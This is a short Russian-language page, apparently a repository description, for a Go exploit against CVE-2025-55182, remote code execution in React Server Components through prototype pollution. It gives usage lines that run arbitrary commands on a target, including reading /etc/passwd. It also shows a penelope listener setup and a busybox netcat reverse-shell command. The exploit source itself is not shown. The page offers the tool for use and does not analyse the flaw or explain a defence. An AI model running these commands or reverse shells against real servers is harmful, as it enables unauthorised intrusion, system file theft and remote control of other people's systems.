w3nch/cve-2025-55182-in-goЭксплоит на Go для CVE-2025-55182, обеспечивающий удаленное выполнение кода в React Server Components через загрязнение прототипа. Поддерживает выполнение произвольных команд и полезные нагрузки reverse shell.
Эксплойт для удаленного выполнения кода в React Server Components через загрязнение прототипа.
go run main.go -t <target> -c <command>
go run main.go -t http://127.0.0.1 -c "id"
go run main.go -t http://127.0.0.1 -c "ls -la"
go run main.go -t http://127.0.0.1 -c "cat /etc/passwd"
Настройка обратного шелла
penelope -i 0.0.0.0 -p 1337
Используйте busybox:
go run main.go -t http://127.0.0.1 -c "busybox nc 127.0.0.1 1337 -e sh"
go build -o exploit .